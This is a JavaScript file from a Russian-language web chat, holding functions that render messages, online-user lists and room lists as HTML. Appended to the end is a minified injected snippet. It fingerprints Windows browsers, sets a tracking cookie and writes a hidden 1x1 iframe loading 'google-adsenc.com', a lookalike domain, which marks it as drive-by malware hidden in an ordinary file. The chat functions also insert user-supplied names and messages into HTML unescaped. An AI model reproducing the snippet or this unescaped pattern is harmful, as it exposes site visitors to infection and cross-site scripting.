  function htmlmsg(type, time, name, htmlname, msg)
  {
  	if(type == 'msg')
  	{
  		return '<i class="time">'+time+'</i> <a href="javascript:Insert(\''+name+'\');" class="nlink">'+htmlname+'</a>: '+msg;
  	}
  	else if(type == 'you')
  	{
  		return '<div class="dark"><i class="time">'+time+'</i> <a href="javascript:Insert(\''+name+'\');" class="nlink">'+htmlname+'</a>: '+msg+'</div>';
  	}
  	else if(type == 'meact')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' '+msg+'</b>';
  	}
    else if(type == 'spirit')
  	{
  		return '<i class="time">'+time+'</i> <a href="javascript:Insert(\''+spirit_name+'\');" class="nlink">'+spirit_name+'</a>: '+msg;
  	}
  	else if(type == 'enter')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">В чат входит '+htmlname+'</b>.';
  	}
  	else if(type == 'privat')
  	{
  		if(!IsWindowOpen(msg))
  		{
  			return '<i class="time">'+time+'</i> <b class="info">Приватное <a href="javascript:OpenPrivatChat(\''+msg+'\', \''+name+'\');">сообщение</a> от '+htmlname+'</b>.';
  		}
  		else
  		{
  			return false;
  		}
  	}
  	else if(type == 'personal')
  	{
    	return '<div class="dark"><i class="time">'+time+'</i> <a href="javascript:Insert(\''+name+'\');" class="nlink">'+htmlname+'</a> <b>лично для '+msg['names']+'</b>: '+msg['msg']+'</div>';
  	}
  	else if(type == 'exit')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' выходит из чата.</b>';
  	}
  	else if(type == 'exittext')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' '+msg+'</b>';
  	}
  	else if(type == 'kill')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg+' удален(а) из чата.</b>';
  	}
  	else if(type == 'chroom')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' переходит в комнату &ldquo;'+msg+'&rdquo;.</b>';
  	}
  	else if(type == 'status')
  	{
  		$("#status_"+msg['det']).html(msg['status']);
  		return false;
  	}
  	else if(type == 'timeout')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+htmlname+' удален(а) из чата по тайм ауту.</b>';
  	}
  	else if(type == 'global')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg+'</b>';
  	}
  	else if(type == 'ban')
  	{
  		return '<i class="time">'+time+'</i> <b class="info">'+msg['banname']+' забанен(а) на '+msg['bantime']+'</b>';
  	}
  	else
  	{
  		return '<i class="time">'+time+'</i> '+type+' '+name+' '+msg;
  	}
  }

  function htmlonline(i, det, name, htmlname, status)
  {
  	if(i%2 == 0)
  	{
  		html = '<div class="row">';
  	}
  	else
  	{
  		html = '<div class="darkrow">';
  	}

  	if(status == 'on')
  	{
  		status = 'On-line';
  	}
  	else if(status == 'off')
  	{
  		status = 'Off-line';
  	}

  	html += '<span class="status" id="status_'+det+'" style="float:right;">'+status+'</span>';
  	html += '<a href="#" onclick="OpenPrivatChat(\''+det+'\', \''+name+'\');"><img src="skin/elfskin/privat.png"/></a>';
  	html += ' <a href="javascript:Insert(\'@personal('+det+')\');" class="nlink">'+htmlname+'</a>';
  	html += ' <small class="mod"><a href="javascript:ModDel(\''+det+'\', \''+name+'\');">X</a>';
  	html += ' <a href="javascript:ModBan(\''+det+'\');">Бан</a></small></div>';
  	return html;
  }

  function htmlroom(i, id, name, count, passworded)
  {
  	html = '<div class="darkrow">';
  	if(i%2 == 0)
  	{
  		html = '<div class="row">';
  	}

    lock = '';
  	if(passworded)
  	{
  		lock = '<img src="skin/elfskin/lock.png"/>';
  	}

  	html += '<span class="status" style="float:right;">'+count+'</span>'+lock+' <a href="javascript:SetRoom(\''+id+'\', '+passworded+');" class="nlink">'+name+'</a></div>';
  	return html;
  }var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
